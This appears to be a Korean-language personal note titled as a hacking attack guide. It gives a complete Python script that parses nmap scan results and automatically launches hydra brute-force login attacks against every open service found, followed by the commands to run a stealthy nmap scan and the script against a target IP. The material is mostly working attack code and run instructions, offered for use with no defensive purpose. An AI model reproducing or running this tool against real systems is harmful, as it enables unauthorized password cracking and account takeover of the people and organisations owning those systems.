해킹 공격
nmap . hydra 로 계정 및 비밀번호 공격
칼리 터미널에서 다운로드
┗ git clone https://github.com/vanhauser-thc/thc-hydra
┗ git clone https://github.com/nmap/nmap
공격하기전에 생성 디렉토리 폴더 들어가서 잘 다운 한다
다운 받은 후에 내가 공격으로 사용할 파일 py 만든다
┗ sudo nano sexy.py
────────────────────────
# -*- coding: utf-8 -*-
"""
Hydra support these checking:
asterisk cisco cisco-enable cvs firebird ftp ftps http[s]-{head|get} http[s]-{get|post}-form http-proxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3[s] postgres rdp rexec rlogin rsh sip smb smtp[s] smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp
aaaaa
This program is aim to serialize the data to call hydra.
YCom
"""
import sys
import os
import libnmap
from libnmap import parser
hydra_form = """asterisk cisco cisco-enable cvs firebird ftp ftps http-proxy http-proxy-urlenum icq imaps imap irc ldap2 ldap2s mssql mysql nntp oracle-listener oracle-sid pcanywhere pcnfs pop3 pop3s postgres rdp rexec rlogin rsh sip smb smtp smtps smtp-enum snmp socks5 ssh sshkey svn teamspeak telnet telnets vmauthd vnc xmpp"""
hydra_table = hydra_form.split()
def get_ip_service_dict(NmapObj):
ip_services = {}
for host in NmapObj.hosts:
if len(host.services)!=0:
service_list = []
for serv in host.services:
if serv.open() and serv.service in hydra_table:
service_list.append([serv.service,serv.port])
if len(service_list)!=0:
ip_services[host._ipv4_addr] = service_list
return ip_services
def gen_target_file_by_dic(ip_services_dic,temp_file):
with open(temp_file,'a+') as f:
for ip in ip_services_dic:
for servs in ip_services_dic[ip]:
line = "{0}://{1}\n".format(servs[0],ip)
f.write(line)
print("Target File successed generated!")
return True
def do_start():
if len(sys.argv) != 3:
raise Exception('Error argument number!')
_date = sys.argv[1]
xml = sys.argv[2]
temp_file = _date+'.txt'
nmap_parser = parser.NmapParser()
nmap_obj = nmap_parser.parse_fromfile(xml)
ip_serv_dict = get_ip_service_dict(nmap_obj)
if gen_target_file_by_dic(ip_serv_dict,temp_file) != True:
raise Exception('Error while parsing nmap!')
import subprocess
hydra_cmd = "hydra -L /root/scans/username.lst -P /root/scans/password.lst -o {0} {1}"
with open(temp_file) as f:
for line in f:
cmd = hydra_cmd.format('cracked-'+_date,line)
subprocess.call(cmd,shell=True)
if __name__ == '__main__':
do_start()
────────────────────────
→ hydra_cmd = "hydra -L /root/scans/username.lst -P /root/scans/password.lst -o {0} {1}"
여기 부분을 수정 한다
아이디를 알고 있다면 -L < -l 로 수정 후 admin 넣기
> 예:) -l /admin -P /root/scans/password.lst -o {0} {1}"
> 아이디 특정 안되면 아이디 메모장 만들고 위치 까지 포함 넣기
────────────────────────
비밀번호 알고 있다면 -P < -p 로 수정 후 123456 넣기
> 비밀번호 특정 안되면 비밀번호 메모장 만들고 위치 까지 포함 넣기
예:) -p /kali/sexy/password.txt -o {0} {1}"
────────────────────────
그다음 명령어 실행 하기
┗ nmap -sS -T1 -oX nmap.xml 192.168.0.99
그다음 명령어 실행 하기
┗ python3 sexy.py 2026-07-17 nmap.xml
그럼 알아서 찾아줄거다 완벽한 소스 코드이다
────────────────────────
이 노트는 로그인하지 않아도
열람할 수 있습니다.
작성·수정·삭제는
관리자 로그인
후 가능합니다.